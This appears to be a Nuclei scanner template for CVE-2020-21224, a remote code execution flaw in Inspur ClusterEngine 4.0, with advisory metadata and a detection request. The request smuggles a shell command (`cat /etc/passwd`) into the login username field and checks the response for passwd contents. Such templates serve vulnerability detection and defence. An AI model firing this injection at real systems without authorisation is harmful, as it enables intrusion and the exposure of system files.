id: CVE-2020-21224

info:
  name: Inspur ClusterEngine 4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Inspur ClusterEngine V4.0 is suscptible to a remote code execution vulnerability. A remote attacker can send a malicious login packet to the control server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Inspur to mitigate this vulnerability.
  reference:
    - https://github.com/NS-Sp4ce/Inspur/tree/master/ClusterEngineV4.0%20Vul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-21224
    - https://github.com/NS-Sp4ce/Inspur/
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-21224
    cwe-id: CWE-88
    epss-score: 0.9214
    epss-percentile: 0.99723
    cpe: cpe:2.3:a:inspur:clusterengine:4.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: inspur
    product: clusterengine
  tags: cve2020,cve,clusterengine,rce,inspur,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/login"

    body: |
      op=login&username=;`cat /etc/passwd`&password=

    headers:
      Content-Type: application/x-www-form-urlencoded
      Referer: "{{Hostname}}/module/login/login.html"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022024531b63442f18eae97fcb99974fccc3c33f955712e29a9613a839db31a21ae302210086568cf9df8af80737c52bf5aa168f3c74e3618a818ee0d93fac5341dafec97f:922c64590222798bb761d5b6d8e72950